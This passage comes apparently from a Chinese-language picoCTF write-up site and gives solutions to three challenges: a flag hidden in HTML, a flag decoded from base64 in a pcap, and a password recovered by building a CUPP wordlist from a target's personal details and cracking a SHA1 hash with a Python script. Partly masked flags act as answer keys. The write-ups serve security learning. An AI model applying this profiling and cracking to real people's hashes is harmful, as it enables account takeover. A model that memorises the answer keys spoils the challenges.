style=\"color:#e6db74\"\u003e\u0026#34;picoctf-logo-horizontal-white.svg\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ealt\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoCTF logo\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;display:inline-block;width:160px;height:90px;padding-left:30px\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ea\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ecenter\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ebr\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ebr\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;padding-top:30px;border-radius:3%;box-shadow:0 5px 10px #0000004d;width:50%;align-self:center\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003eimg\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esrc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;hero.svg\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ealt\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;flag art\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;width:150px;height:150px\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;width:85%\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003eh2\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e\u0026gt;Welcome to my flag distribution website!\u0026lt;/\u003cspan style=\"color:#f92672\"\u003eh2\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;width:70%\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e\u0026gt;If you\u0026#39;re reading this, your browser has succesfully received the flag.\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoCTF{pr3--------------82e}\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e\u0026gt;I just deliver flags, I don\u0026#39;t know how to read them...\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ebr\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ecenter\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e即可找到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{pr3--------------82e}\n\u003c/code\u003e\u003c/pre\u003e","title":"Unminify"},{"content":"題目連結 https://learn.cylabacademy.org/library/459\n題目解法 下載後得到一個 myNetworkTraffic.pcap 檔案，可以使用 wireshark 開啟。開啟後用時間排序後如圖 可以發現每個封包結尾有一段使用 base64 編碼的資料，而且封包編號 1 的解碼內容是 picoCTF，接著將時間在封包 1 之後的字串複製出來並解碼即可得到 flag。\ncGljb0NURg== ezF0X3c0cw== bnRfdGg0dA== XzM0c3lfdA== YmhfNHJfZA== NGI1NzkwOQ== fQ== picoCTF{1t_----------------------------909} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/ph4nt0m-1ntrud3r/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/459\"\u003ehttps://learn.cylabacademy.org/library/459\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載後得到一個 \u003ccode\u003emyNetworkTraffic.pcap\u003c/code\u003e 檔案，可以使用 wireshark 開啟。開啟後用時間排序後如圖\n\u003cimg alt=\"wireshark 以時間排序\" loading=\"lazy\" src=\"/posts/forensics/ph4nt0m-1ntrud3r/wireshark.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e可以發現每個封包結尾有一段使用 base64 編碼的資料，而且封包編號 1 的解碼內容是 \u003ccode\u003epicoCTF\u003c/code\u003e，接著將時間在封包 1 之後的字串複製出來並解碼即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecGljb0NURg==\nezF0X3c0cw==\nbnRfdGg0dA==\nXzM0c3lfdA==\nYmhfNHJfZA==\nNGI1NzkwOQ==\nfQ==\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{1t_----------------------------909}\n\u003c/code\u003e\u003c/pre\u003e","title":"Ph4nt0m 1ntrud3r"},{"content":"題目連結 https://learn.cylabacademy.org/library/712\n題目解法 這題題目提示中有提到 CUPP 這個 python 工具，這是一個可以根據使用者提供的資訊生成密碼字典的工具。\n從 github 將 CUPP clone 下來並執行。\ngit clone https://github.com/Mebus/cupp.git cd cupp python cupp.py -i 跟著指示一步一步輸入資料，即可生成密碼字典。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 $ python .\\cupp.py -i ___________ cupp.py! # Common \\ # User \\ ,__, # Passwords \\ (oo)____ # Profiler (__) )\\ ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/] [+] Insert the information about the victim to make a dictionary [+] If you don\u0026#39;t know all the info, just hit enter when asked! ;) \u0026gt; First Name: Alice \u0026gt; Surname: Johnson \u0026gt; Nickname: AJ \u0026gt; Birthdate (DDMMYYYY): 15071990 \u0026gt; Partners) name: Bob \u0026gt; Partners) nickname: \u0026gt; Partners) birthdate (DDMMYYYY): \u0026gt; Child\u0026#39;s name: Charlie \u0026gt; Child\u0026#39;s nickname: \u0026gt; Child\u0026#39;s birthdate (DDMMYYYY): \u0026gt; Pet\u0026#39;s name: \u0026gt; Company name: \u0026gt; Do you want to add some key words about the victim? Y/[N]: \u0026gt; Do you want to add special chars at the end of words? Y/[N]: \u0026gt; Do you want to add some random numbers at the end of words? Y/[N]: \u0026gt; Leet mode? (i.e. leet = 1337) Y/[N]: [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to alice.txt, counting 10359 words. \u0026gt; Hyperspeed Print? (Y/n) : [+] Now load your pistolero with alice.txt and shoot! Good luck! 以下是生成的密碼字典\npasswords.txt\n將題目所有檔案以及 passwords.txt 檔案放在同一個目錄並執行，即可得到 flag。\n$ python .\\check_password.py Password found: picoCTF{Aj_-----990} 題目檔案 userinfo.txt 1 2 3 4 5 6 7 First Name: Alice Surname: Johnson Nickname: AJ Birthdate: 15-07-1990 Partner\u0026#39;s Name: Bob Child\u0026#39;s Name: Charlie hash.txt 1 968c2349040273dd57dc4be7e238c5ac200ceac5 userinfo.txt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/env python3 import hashlib HASH_FILE = \u0026#34;hash.txt\u0026#34; WORDLIST_FILE = \u0026#34;passwords.txt\u0026#34; # wordlist that was generated using CUPP def load_hash(): with open(HASH_FILE, \u0026#34;r\u0026#34;) as f: return f.read().strip() def crack_password(target_hash): with open(WORDLIST_FILE, \u0026#34;r\u0026#34;, encoding=\u0026#34;utf-8\u0026#34;, errors=\u0026#34;ignore\u0026#34;) as f: for password in f: password = password.strip() if hashlib.sha1(password.encode()).hexdigest() == target_hash: return password return None if __name__ == \u0026#34;__main__\u0026#34;: target_hash = load_hash() result = crack_password(target_hash) if result: print(f\u0026#34;Password found: picoCTF{{{result}}}\u0026#34;) else: print(\u0026#34;No match found.\u0026#34;) ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/password-profiler/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/712\"\u003ehttps://learn.cylabacademy.org/library/712\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e這題題目提示中有提到 \u003ca href=\"https://github.com/Mebus/cupp\"\u003eCUPP\u003c/a\u003e 這個 python 工具，這是一個可以根據使用者提供的資訊生成密碼字典的工具。\u003cbr\u003e\n從 github 將 CUPP clone 下來並執行。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egit clone https://github.com/Mebus/cupp.git\ncd cupp\npython cupp.py -i\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e跟著指示一步一步輸入資料，即可生成密碼字典。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e44\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ python .\u003cspan style=\"color:#ae81ff\"\u003e\\c\u003c/span\u003eupp.py -i\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e ___________\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   cupp.py!                 \u003cspan style=\"color:#75715e\"\u003e# Common\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e\\ \u003c/span\u003e                    \u003cspan style=\"color:#75715e\"\u003e# User\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       \u003cspan style=\"color:#ae81ff\"\u003e\\ \u003c/span\u003e  ,__,             \u003cspan style=\"color:#75715e\"\u003e# Passwords\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#ae81ff\"\u003e\\ \u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eoo\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e____         \u003cspan style=\"color:#75715e\"\u003e# Profiler\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e           \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e__\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e    \u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e--\u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e *      \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e Muris Kurgas | j0rgan@remote-exploit.org \u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e Mebus | https://github.com/Mebus/\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e+\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e Insert the information about the victim to make a dictionary\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e+\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e If you don\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;t know all the info, just hit enter when asked! ;)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; First Name: Alice\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; Surname: Johnson\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; Nickname: AJ\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; Birthdate (DDMMYYYY): 15071990\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; Partners) name: Bob\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; Partners) nickname:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; Partners) birthdate (DDMMYYYY):\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; Child\u0026#39;\u003c/span\u003es name: Charlie\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; Child\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;s nickname:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026gt; Child\u0026#39;\u003c/span\u003es birthdate \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eDDMMYYYY\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; Pet\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;\u003c/span\u003es name:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; Company name:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; Do you want to add some key words about the victim? Y/\u003cspan 